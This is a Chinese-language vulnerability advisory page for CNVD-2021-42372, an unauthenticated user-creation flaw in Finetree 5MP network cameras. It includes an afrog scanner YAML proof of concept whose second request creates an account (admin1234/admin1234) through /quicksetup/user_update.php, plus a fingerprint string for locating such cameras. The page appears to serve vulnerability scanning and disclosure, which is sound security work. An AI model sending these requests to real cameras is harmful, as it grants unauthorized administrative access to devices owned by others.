CNVD-2021-42372: Finetree 5MP 摄像机 user_pop.php 任意用户添加漏洞

日期: 2025-09-01 | 影响软件: Finetree 5MP摄像机 | POC: 已公开

漏洞描述

Finetree 5MP 摄像机 user_pop.php文件存在未授权任意用户添加，攻击者添加后可以获取后台权限 p="Finetree-5MP-Network-Camera"

PoC代码[已公开]

id: CNVD-2021-42372

info:
  name: Finetree 5MP 摄像机 user_pop.php 任意用户添加漏洞
  author: zan8in
  severity: high
  description: |
    Finetree 5MP 摄像机 user_pop.php文件存在未授权任意用户添加，攻击者添加后可以获取后台权限
    p="Finetree-5MP-Network-Camera"
  reference:
    - http://wiki.peiqi.tech/wiki/iot/Finetree/Finetree%205MP%20%E6%91%84%E5%83%8F%E6%9C%BA%20user_pop.php%20%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E6%B7%BB%E5%8A%A0%E6%BC%8F%E6%B4%9E%20CNVD-2021-42372.html

rules:
  r0:
    request:
      method: GET
      path: /quicksetup/user_pop.php?method=add
    expression: response.status == 200 && response.body.bcontains(b'name="user_name_field"') && response.body.bcontains(b'name="password_field"') && response.body.bcontains(b'name="confirm_password_field"')
  r1:
    request:
      method: POST
      path: /quicksetup/user_update.php
      body: "method=add&user=admin1234&pwd=admin1234&group=2&ptz_enable=0"
    expression: response.status == 200 && response.headers["server"].contains("WintenDo") && (response.body.bcontains(b'200') || response.body.bcontains(b'804'))
expression: r0() && r1()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CNVD/2021/CNVD-2021-42372.yaml

相关漏洞推荐